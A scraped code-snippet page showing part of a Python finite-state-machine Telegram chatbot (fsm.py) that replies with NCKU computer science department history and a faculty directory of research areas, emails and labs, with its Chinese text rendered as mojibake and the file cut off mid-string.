Best Python code snippet using playwright-python
fsm.py
Source:fsm.py  
...266        text = update.message.text267        return text.lower() == 'turbo'268    def on_enter_stateNCKUCSIEIntroduction(self, update):269        update.message.reply_text("history or professor")270        #self.go_back(update)271    def on_exit_stateNCKUCSIEIntroduction(self, update):272        print('Leaving stateNCKUCSIEIntroduction')273    def on_enter_stateHistory(self, update):274        update.message.reply_text("ç³»ææ·å²è沿é©\næ¬ç³»çºåå°ç£ç¬¬ä¸åç´ä»¥è³è¨åè¨ç®æ©å·¥ç¨çºéå¿çé«ç´å¸è¡å®ä½ï¼ æ¼æ°åä¸åå
å¹´å
«ææç«ç¢©å£«çï¼å
«åä¸å¹´å
«ææç«å士çï¼ æ¼å
«åå
å¹´å
«ææç«å¤§å¸é¨ï¼ä¹åä¸å¹´å
«ææ´å¢å¤§å¸é¨çºå
©çï¼ ä¸¦æ¼ä¹åäºå¸å¹´åº¦åå¢è¨é«å¸è³è¨ç ç©¶æï¼ä¸ç¾å¹´å
«æè£½é è³è¨è系統ç ç©¶ææ´åè³æ¬ç³»ï¼ä»¥ä¸ç³»ä¸æä¹æ¨¡å¼é²è¡ã\nçºå æåå
§é«ç§æç¢æ¥äººåéæ±ï¼ æ¯ä½ææåç ç©¶çåç©æ¥µåèåå
§å¤å¸è¡æ´»åï¼ä¸¦å¨é«æ°´æºçæååæè°ä¸ç¼è¡¨ç ç©¶ææï¼ 並æå¤ä½ææç²å¾å¸è¡æ¦®è½å¦åç§æååºç ç©¶çççé 
ã")275        self.go_back(update)276    def on_exit_stateHistory(self, update):277        print('Leaving stateHistory')278    def on_enter_stateProfessor(self, update):279        update.message.reply_text("1.é«å®å®\n2.é£éæ°\n3.æåç\n4.éè³ç°\n5.å³å®æ²\n6.嫿°¸å¹´\n7.é»å´æ\n8.è¬å«æº\n9.é»å®ç«\n10.éèç
\n11.é³è£æ°\n12.è£æ¦®å
\n13.é³å¹æ®·\n14.æå¼·\n15.é³é¿äº®\n16.éæ²å®\n17.æ¥å¤§å\n18.èæéº\n19.å¼µçå
\n20.éæ·ç¾\n21.ç士豪\n22.è鿏
\n23.èå®ç« \n24.張大緯\n25.æ¢åå¯\n26.許éè³\n27.ç§æç¥¥\n28.æ¥ä¸å¹³\n29.èå´å±\n30.æè±è¶
\n31.峿é¾\n32.鳿é\n33.æå®¶å²©\n34.è¶æ¢ç¨\n35.è¡åå³\n36.èå¤é\n37.è¡ä½©ç\n38.è¡æå\n39.æ¶åæ\n40.æä¿¡æ°\n41.å¼µçç´\n42.黿¬ç¾¤\nexit")280        #self.go_back(update)281    def on_exit_stateProfessor(self, update):282        print('Leaving stateProfessor')283    def on_enter_state1(self, update):284        update.message.reply_text("é«å®å® ææ å
¼ 代ç系主任 å
¼ é«è³ææé·\n\nå°é·åç ç©¶é å:\nè³è¨æª¢ç´¢/è³è¨æ·åãè³ææ¢åãæ©å¨å¸ç¿ãå
¨çè³è¨ç¶²è³è¨ç³»çµ±ãçç©è³è¨ã社群網路è¨ç®\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62546\n\nE-mailï¼\nhykao@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åç¥è管ç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65903)\n\nå人網é ï¼\nhttp://myweb.ncku.edu.tw/~hykao/\n")285        self.go_back(update)286    def on_exit_state1(self, update):287        print('Leaving state1')288    289    def on_enter_state2(self, update):290        update.message.reply_text("é£éæ° ææ å
¼ å¯ç³»ä¸»ä»» å
¼ è£½é ææé·\n\nå°é·åç ç©¶é å:\næºæ
§åæ©å¨äººåèªååã人æ©äºååæ´å¢å¯¦å¢ã3Dèªåå
叿ª¢æ¸¬ãè¦è¦ºä¼ºææ§å¶ãå½±åèç,3Dé»è
¦è¦è¦ºåå形辨èãæ©å¨å¸ç¿ãåµå
¥å¼ç³»çµ±ãé²ç«¯æºæ
§åç£æ§æå\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 62540\n\nE-mailï¼\njjlien@csie.ncku.edu.tw\n\n實é©å®¤ï¼\næ©å¨äººå¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65904)")291        self.go_back(update)292    def on_exit_state2(self, update):293        print('Leaving state2')294    295    def on_enter_state3(self, update):296        update.message.reply_text("æåç è¬åº§ææ\n\nå°é·åç ç©¶é å:\n3Déæ²è¨è¨ (3D Game Design)ã3D NPRåç«åæ(3D Non-photo-realistic rendering)ãé»è
¦ç¹ªåèåç«(Computer Graphics and Animation)ãé»è
¦è¦è¦ºå模æ¬(Visualization)ãèæ¬å¯¦å¢èç°å¢(Virtual Reality and Environment)ãé«å¸æè¡æ¨¡æ¬ç³»çµ±(3D Medical Surgical Simulation and Application)ãVideo/Image Retargetingã3D Captcha Design for Internet Security\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62531\n\nE-mailï¼\ntonylee@mail.ncku.edu.tw\n\n實é©å®¤ï¼\né»è
¦ç¹ªåç ç©¶ç¾¤/è¦è¦ºç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65701)")297        self.go_back(update)298    def on_exit_state3(self, update):299        print('Leaving state3')300    301    def on_enter_state4(self, update):302        update.message.reply_text("éè³ç° è¬åº§ææ\n\nå°é·åç ç©¶é å:\nEåè£½é  (å·¥æ¥4.0)ãåå°é«çç¢èªååãèæ¬éæ¸¬ãé æ¸¬ä¿é¤ãæºæ
§å製é ç³»çµ±\n\nç³»æå¥ï¼\nè³è¨ç³» / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 34224\n\nE-mailï¼\nchengft@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nèªåå實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95619)\n\nå人網é ï¼\nhttp://super.ime.ncku.edu.tw/pages/teacher.htm")303        self.go_back(update)304    def on_exit_state4(self, update):305        print('Leaving state4')306    307    def on_enter_state5(self, update):308        update.message.reply_text("å³å®æ² è¬åº§ææ\n\nå°é·åç ç©¶é å:\näººå·¥æºæ
§è深度å¸ç¿ãèªé³èèªè
èå¥ãèªé³åæèè®é³ãå£è¿°èªè¨å°è©±èçè§£ãå¤åªé«æ
ç·è¾¨èè追蹤ãå½±é³å¤åªé«æè¦è檢索ãè½èªéå£/æèªå¸ç¿è¼å
ዎȏ
¦è¼å©å£èªªèªè¨å¸ç¿ãå¤åªé«äººæ©äºå\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\né»è©±ï¼06-2757575 ext 62521\n\nE-mailï¼\nchunghsienwu@gmail.com; chwu@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nå¤åªé«äººæ©éè¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65801)\n\nå人網é ï¼\nhttp://chinese.csie.ncku.edu.tw/web_tw/professor/")309        self.go_back(update)310    def on_exit_state5(self, update):311        print('Leaving state5')312    313    def on_enter_state6(self, update):314        update.message.reply_text("嫿°¸å¹´ ç¹èææ\n\nå°é·åç ç©¶é å:\nå½±åèçãé»è
¦è¦è¦ºãé«å¸å½±åãå·¥æ¥æª¢æ¸¬ãé«å¸è³è¨ãè¦è¨ç§å¸ãèæ¬ç°å¢\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62526\n\nE-mailï¼\nynsun@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè¦è¦ºç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65702)")315        self.go_back(update)316    def on_exit_state6(self, update):317        print('Leaving state6')318    319    def on_enter_state7(self, update):320        update.message.reply_text("é»å´æ ç¹èææ\n\nå°é·åç ç©¶é å:\nç¡ç·åè¡å網路ååå®è¨è¨èåæãå¤åªé«èçåä¸²æµæè¡ãç¶ è²éè¨èè¨ç®ãåµæç¶²è·¯æç¨èæå\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62523\n\nE-mailï¼\nhuangcm@locust.csie.ncku.edu.tw\ncmdhuang@gmail.com\n\n實é©å®¤ï¼\nå¤åªé«è¡åé»è
¦ç¶²è·¯å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨3F 65303)")321        self.go_back(update)322    def on_exit_state7(self, update):323        print('Leaving state7')324    325    def on_enter_state8(self, update):326        update.message.reply_text("è¬å«æº ç¹èææ å
¼ ç ç¼é·\n\nå°é·åç ç©¶é å:\n容é¯è¨ç®ãçç©è³è¨ãå¹³è¡å忣å¼è¨ç®ãæ¼ç®æ³è¨è¨èåæãåå½¢çè«\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62538\n\nE-mailï¼\nhsiehsy@mail.ncku.edu.tw\n\n實é©å®¤ï¼\näºé£ç¶²è·¯æ¨é«æçè¨ç®å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65803)\n\nå人網é ï¼\nhttp://algorithm.csie.ncku.edu.tw/syhsieh.htm")327        self.go_back(update)328    def on_exit_state8(self, update):329        print('Leaving state8')330    331    def on_enter_state9(self, update):332        update.message.reply_text("é»å®ç« ç¹èææ\n\nå°é·åç ç©¶é å:\nå¯ç¢¼æè¡ã網路å®å
¨ãè³è¨å®å
¨ãéç¦ç³»çµ±ãé¯èª¤æ§å¶ç¢¼ãéåå¯ç¢¼å¸\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62524\n\nE-mailï¼\nhwangtl@csie.ncku.edu.tw\n\n實é©å®¤ï¼\néåè³è¨è網路å®å
¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65603)")333        self.go_back(update)334    def on_exit_state9(self, update):335        print('Leaving state9')336    337    def on_enter_state10(self, update):338        update.message.reply_text("éèç
 ç¹èææ\n\nå°é·åç ç©¶é å:\nåµå
¥å¼ç³»çµ±èæç¨ãææ¸¬ç¶²è·¯è鍿è¨ç®ãå¯¬é »ç¶²è·¯ç³»çµ±ãæºæ
§åè³è¨ç³»çµ±ãç¶²é網路æåãç©ä»¶å°åå¼è¨è¨ã模ç³ç³»çµ±ãç¥è庫系統ã系統æ¶çè¨è¨ãäººå·¥æºæ
§ãæ
墿ç¥ãæ¸ä½å®¶åº\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62522\n\nE-mailï¼\nkuoyh@ismp.csie.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§å系統æ¨åªé«èç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65507)")339        self.go_back(update)340    def on_exit_state10(self, update):341        print('Leaving state10')342    343    def on_enter_state11(self, update):344        update.message.reply_text("é³è£æ° ç¹èææ\n\nç³»æå¥ï¼\nè³è¨ç³» / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 34222\n\nE-mailï¼\nymchen@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n伿¥å·¥ç¨èæ´å實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95604)")345        self.go_back(update)346    def on_exit_state11(self, update):347        print('Leaving state11')348    349    def on_enter_state12(self, update):350        update.message.reply_text("è£æ¦®å
 ç¹èææ å
¼ è¨ç®æ©è網路ä¸å¿ä¸»ä»»\n\nå°é·åç ç©¶é å:\nçé«è³è¨æ¢åãäººå·¥æºæ
§ãæºæ
§åè¨ç®ãé²ç«¯é«çç
§è·ãççè幹細èç ç©¶ãå·¨éè³æåæãææç©¿æ´è£ç½®è¡åè¨ç®\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ / è¨ç¶²ä¸å¿\n\né»è©±ï¼\n06-2757575 ext 62534\n\nE-mailï¼\njchiang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åè³è¨æ·å實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65604)")351        self.go_back(update)352    def on_exit_state12(self, update):353        print('Leaving state12')354    355    def on_enter_state13(self, update):356        update.message.reply_text("é³å¹æ®· ç¹èææ å
¼ é»è³å¸é¢å¯é¢é·\n\nå°é·åç ç©¶é å:\nVLSIé»è·¯/FPGAæ¶çè¨è¨ãäººå·¥æºæ
§AIå½±åèçèæç¨ãè³è¨ç³»çµ±éç¼ãåµå
¥å¼ç³»çµ±éç¼è¨è¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62547\n\nE-mailï¼\npychen@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næ¸ä½æ¶çè¨è¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A01)")357        self.go_back(update)358    def on_exit_state13(self, update):359        print('Leaving state13')360    361    def on_enter_state14(self, update):362        update.message.reply_text("æå¼· ææ\n\nå°é·åç ç©¶é å:\nå¤§æ¸æ/å·¨éè³æèçæè¡ã社群網ç«/é²ç«¯å¹³è¡è¨ç®ãå°çè³è¨ç³»çµ±ãç¶²éç¶²è·¯è³æåº«èèçæè¡\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62528\n\nE-mailï¼\nleec@mail.ncku.edu.tw\n\n實é©å®¤ï¼\né«çè³æç³»çµ±(ADS)實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨3F 65302)")363        self.go_back(update)364    def on_exit_state14(self, update):365        print('Leaving state14')366    367    def on_enter_state15(self, update):368        update.message.reply_text("é³é¿äº® ææ\n\nå°é·åç ç©¶é å:\nè³è¨èæ©é»æ´åãæºæ
§åé ç«¯ç£æ§ç³»çµ±ãC#ç©ä»¶å°åç¨å¼è¨è¨ãPC-based å¤è»¸æ§å¶å¨è¨è¨ãèªååå
叿ª¢æ¸¬ãCAD/CAMãé²ç«¯æå系統\n\nç³»æå¥ï¼\nè³è¨ç³» / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 61001\n\nE-mailï¼\nslchen@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè³è¨èæ©é»æ´å實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95507)\n\nå人網é ï¼\nhttp://140.116.86.180")369        self.go_back(update)370    def on_exit_state15(self, update):371        print('Leaving state15')372    373    def on_enter_state16(self, update):374        update.message.reply_text("éæ²å® ææ\n\nå°é·åç ç©¶é å:\né²ç«¯è¨ç®,è¡åè£ç½®Appç ç©¶èéç¼,ç¡ç·éè¨, è¡åè¨ç®, æ¸ä½çæ´»ç§æ, éåè¨ç®èéè¨, é»è
¦ç¶²è·¯\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62529\n\nE-mailï¼\nstcheng@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n塵éæç¥èé²ç«¯è¨ç®å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65607)")375        self.go_back(update)376    def on_exit_state16(self, update):377        print('Leaving state16')378    379    def on_enter_state17(self, update):380        update.message.reply_text("æ¥å¤§å ææ\n\nç³»æå¥ï¼\nè³è¨ç³» / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 34225\n\nE-mailï¼\ntyang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n製é ç®¡ç實é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95623)")381        self.go_back(update)382    def on_exit_state17(self, update):383        print('Leaving state17')384    385    def on_enter_state18(self, update):386        update.message.reply_text("èæéº ææ\n\nå°é·åç ç©¶é å:\næ¸ä½é³è¨èçãå½±åè¦è¨èçèå£ç¸®ãé»è
¦é³æ¨åæåæãæä»¶å½±åèçãåªé«èçæ©è¨è¨ãMPEG-4å¤åªé«æ¨æºãæ¸ä½è¨èèçç¨SoC\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62537\n\nE-mailï¼\nalvinsu@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n鳿¨å¤åªé«ç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65707)")387        self.go_back(update)388    def on_exit_state18(self, update):389        print('Leaving state18')390    391    def on_enter_state19(self, update):392        update.message.reply_text("å¼µçå
 ææ\n\nå°é·åç ç©¶é å:\nRouter & Switch DesignãScalable Web ServerãCooperative Web ProxyãQoSãNetwork Processor DesignãComputer ArchitectureãMultiprocessor Network and Cache Coherence DesignãFault-Tolerant\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62539\n\nE-mailï¼\nykchang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè¨ç®æ©ç¶²è·¯æ¶æ§å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65502)\n\nå人網é ï¼\nhttp://cial.csie.ncku.edu.tw/")393        self.go_back(update)394    def on_exit_state19(self, update):395        print('Leaving state19')396    397    def on_enter_state20(self, update):398        update.message.reply_text("éæ·ç¾ ææ\n\nå°é·åç ç©¶é å:\nå½±åèçãé«çå½±åèçãé²åè¨ç®è«ã渾æ²ç³»çµ±æç¨ã模ç³çè«ã系統工ç¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62525\n\nE-mailï¼\nguosm@mail.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åæ¸ä½å½±åèç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65403)")399        self.go_back(update)400    def on_exit_state20(self, update):401        print('Leaving state20')402    403    def on_enter_state21(self, update):404        update.message.reply_text("ç士豪 ææ å
¼ æå¤§é«é¢è³è¨å®¤ä¸»ä»»\n\nå°é·åç ç©¶é å:\nè¶
鳿³¢è¨èåæåæè¡ãè¶
鳿³¢éå¥çç©çµç¹èææãé«ç¨ç©è¯ç¶²èæ©å¨å¸ç¿ãè¨èèå½±åèçãé«å¸èå¥åº·ç
§è·è³è¨ãé«ç卿\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62519\n\nE-mailï¼\nshyhhau@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nçé«è¶
鳿³¢ç³»çµ±å¯¦é©å®¤ (è³è¨å¤§æ¨8æ¨) (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65804)")405        self.go_back(update)406    def on_exit_state21(self, update):407        print('Leaving state21')408    409    def on_enter_state22(self, update):410        update.message.reply_text("è鿏
 ææ\n\nå°é·åç ç©¶é å:\nå
æ¥å網路ã夿³¢é·åæ³¢å¤å·¥å
çºç¶²è·¯ãç¡ç·ææ¸¬ç¶²è·¯ãç¶²é網路é»è¦ç³»çµ±\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62543\n\nE-mailï¼\nsuecc@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nå¯é è¨ç®å網路實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65703)")411        self.go_back(update)412    def on_exit_state22(self, update):413        print('Leaving state22')414    415    def on_enter_state23(self, update):416        update.message.reply_text("èå®ç«  ææ\n\nå°é·åç ç©¶é å:\nå·¨éè³æå²åé«èè¨ç®å¹³å°ãApacheéæºå°æ¡ãå¹³è¡æ¨åæ£å¼è¨ç®ãé²ç«¯è¨ç®ãåå網路\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62548\n\nE-mailï¼\nhchsiao@csie.ncku.edu.tw\n\n實é©å®¤ï¼\n忣å¼è¨ç®å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A03)")417        self.go_back(update)418    def on_exit_state23(self, update):419        print('Leaving state23')420    421    def on_enter_state24(self, update):422        update.message.reply_text("張大緯 ææ\n\nå°é·åç ç©¶é å:\n容靿©å¶ã使¥ç³»çµ±ãèæ¬æ©å¨ãåµå
¥å¼ç³»çµ±\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62551\n\nE-mailï¼\ndavidchang@csie.ncku.edu.tw\n\n實é©å®¤ï¼\n使¥ç³»çµ±èåµå
¥å¼ç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65409)\n\nå人網é ï¼\nhttp://140.116.247.213/")423        self.go_back(update)424    def on_exit_state24(self, update):425        print('Leaving state24')426    427    def on_enter_state25(self, update):428        update.message.reply_text("æ¢åå¯ ææ\n\nå°é·åç ç©¶é å:\næºæ
§åç§æåå
¶æç¨ãç¥ç¶èªç¥è
¦æ©çé¢ãçé«è¨èèçã坿å¼åµå
¥å¼ç³»çµ±ãå¤åªé«è¨èè系統\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62549\n\nE-mailï¼\nsfliang@mail.ncku.edu.tw\n\nå人網é ï¼\nncbci.csie.ncku.edu.tw")429        self.go_back(update)430    def on_exit_state25(self, update):431        print('Leaving state25')432    433    def on_enter_state26(self, update):434        update.message.reply_text("許éè³ å¯ææ\n\nå°é·åç ç©¶é å:\nå
æ³¢åå²å¤å·¥ç¶²è·¯ãç¹å¾çç¥è¨è¨ãç¶²é網路éè¨åå®\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62535\n\nE-mailï¼\nhsucf@csie.ncku.edu.tw\n\n實é©å®¤ï¼\né«é網路實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65503)")435        self.go_back(update)436    def on_exit_state26(self, update):437        print('Leaving state26')438    439    def on_enter_state27(self, update):440        update.message.reply_text("ç§æç¥¥ 坿æ\n\nå°é·åç ç©¶é å:\næä»¶æ¢åã網路æ¢åãè³è¨æª¢ç´¢ãèªç¶èªè¨èçãæ©å¨ç¿»è¯ãè·¨èªç¥èç³»çµ±ãæ¸ä½å
¸èãé«å¸è³è¨æª¢ç´¢\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62545\n\nE-mailï¼\nwhlu@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n網路æ¢åæ¨è·¨èªç¥è系統實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨8F 65802)")441        self.go_back(update)442    def on_exit_state27(self, update):443        print('Leaving state27')444    445    def on_enter_state28(self, update):446        update.message.reply_text("æ¥ä¸å¹³ 坿æ\n\nå°é·åç ç©¶é å:\nMicroprocessor Architecture and InterfaceãReal-time Embedded SystemãVirtual Instrumentation\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62533\n\nE-mailï¼\ndryncku@gmail.com\n\n實é©å®¤ï¼\nè¯ç¶²ååµå
¥å¼æç¨èæè¡å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65402)")447        self.go_back(update)448    def on_exit_state28(self, update):449        print('Leaving state28')450    451    def on_enter_state29(self, update):452        update.message.reply_text("èå´å± 坿æ\n\nå°é·åç ç©¶é å:\nè»è¼ç¶²è·¯, ææ¸¬ç¶²è·¯, ç©è¯ç¶², é é²é«å¸å¤§è³æåæ, é²ç«¯ç
§è·, ä¸é«é»è
¦å(èªå診æ·. ç¡çéç¸, æºæ
§èæ¹ç³»\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62550\n\nE-mailï¼\nklan@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nç²¾æºé«çè網路系統實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨5F 65501)\n\nå人網é ï¼\nhttp://www.csie.ncku.edu.tw/~klan/")453        self.go_back(update)454    def on_exit_state29(self, update):455        print('Leaving state29')456    457    def on_enter_state30(self, update):458        update.message.reply_text("æè±è¶
 坿æ\n\nå°é·åç ç©¶é å:\nè¨ç®æ©çµæ§ãå¯é ç¯è½ç³»çµ±è¨è¨ãé»åè¨è¨èªååãåµå
¥å¼ç³»çµ±è¨è¨ãè¶
大åç©é«é»è·¯/ç³»çµ±å®æ¶çè¨è¨ ãç©è¯ç¶²ç³»çµ±åæ¶æ§ãè¨æ¶é«ç³»çµ±åæ¶æ§ãæ¸ä½ç³»çµ±è¨è¨ãç°è³ªéç®ç³»çµ±åæ¶æ§è¨è¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62553\n\nE-mailï¼\niclin@csie.ncku.edu.tw\n\n實é©å®¤ï¼\né»è
¦æ¶æ§èæ¶çè¨è¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A02)\n\nå人網é ï¼\nhttps://sites.google.com/a/caid.tw/iclin/")459        self.go_back(update)460    def on_exit_state30(self, update):461        print('Leaving state30')462    463    def on_enter_state31(self, update):464        update.message.reply_text("å³æé¾ å¯ææ\n\nå°é·åç ç©¶é å:\nçé«å½±åèçãå¹³è¡è¨ç®ãæ ¸ç£å
±æ¯å½±åæåæè¡ã大è
¦åè½æ§ç£æ¯é å½±ãæ ¸ç£å
±æ¯èè¡åºåè¨è¨ãæ©å¨å¸ç¿ãè³æç§å¸\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62541\n\nE-mailï¼\nminglong.wu@csie.ncku.edu.tw\n\n實é©å®¤ï¼\nçé«å½±å實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65902)")465        self.go_back(update)466    def on_exit_state31(self, update):467        print('Leaving state31')468    469    def on_enter_state32(self, update):470        update.message.reply_text("鳿é 坿æ\n\nç³»æå¥ï¼\nè³è¨ç³» / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 34226\n\nE-mailï¼\nchaochun@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n製é èè¡åè³æåº«å¯¦é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95508)")471        self.go_back(update)472    def on_exit_state32(self, update):473        print('Leaving state32')474    475    def on_enter_state33(self, update):476        update.message.reply_text("æå®¶å²© 坿æ\n\nç³»æå¥ï¼\nè³è¨ç³» / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 34223\n\nE-mailï¼\ncylee@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nçç¢åæä½³å實é©å®¤")477        self.go_back(update)478    def on_exit_state33(self, update):479        print('Leaving state33')480    481    def on_enter_state34(self, update):482        update.message.reply_text("è¶æ¢ç¨ 坿æ\n\nå°é·åç ç©¶é å:\né«å¸å½±åèæ¸ä½å½±åèçãè¨ç®ç¥ç¶å¸ãç£æ¯é å½±æè¡ãç£æ¯é å½±å éæ¼ç®æ³ãåå系統模æ¬\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext\n\nE-mailï¼\ntcchao@mail.ncku.edu.tw\n\n實é©å®¤ï¼\né«å¸å½±åèç實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨4F 65401)")483        self.go_back(update)484    def on_exit_state34(self, update):485        print('Leaving state34')486    487    def on_enter_state35(self, update):488        update.message.reply_text("è¡åå³ å¯ææ\n\nå°é·åç ç©¶é å:\n網路æè½è©ä¼°ãè¡å網路è¨è¨èåæãç¶²é網路é»è©±ãè¡åè¨ç®ãè¡å網路èç¶²é網路æ´å\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62518\n\nE-mailï¼\ntsaimh@csie.ncku.edu.tw\n\n實é©å®¤ï¼\næºæ
§åè¡åæå實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨10F 65A04)\n\nå人網é ï¼\nhttp://imslab.org/~tsaimh/")489        self.go_back(update)490    def on_exit_state35(self, update):491        print('Leaving state35')492    493    def on_enter_state36(self, update):494        update.message.reply_text("èå¤é å©çææ\n\nå°é·åç ç©¶é å:\nè³ææ¢åãè³æåº«ç³»çµ±ãè¡åéç®ã網路è³è¨ç³»çµ±\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / é«è³æ\n\né»è©±ï¼\n06-2757575 ext 62556\n\nE-mailï¼\nktchuang@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nåç»ç¶²è·¯è³æåº«å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65602)\n\nå人網é ï¼\nhttp://cv_ktchuang.cannerapp.com/")495        self.go_back(update)496    def on_exit_state36(self, update):497        print('Leaving state36')498    499    def on_enter_state37(self, update):500        update.message.reply_text("è¡ä½©ç å©çææ\n\nå°é·åç ç©¶é å:\n峿å®ä½èå°èªæåãæºæ
§å系統èæç¨ç¨å¼éç¼ãå½±åå£ç¸®è峿å³è¼¸ã峿æç¨çè«ã使ç¨è
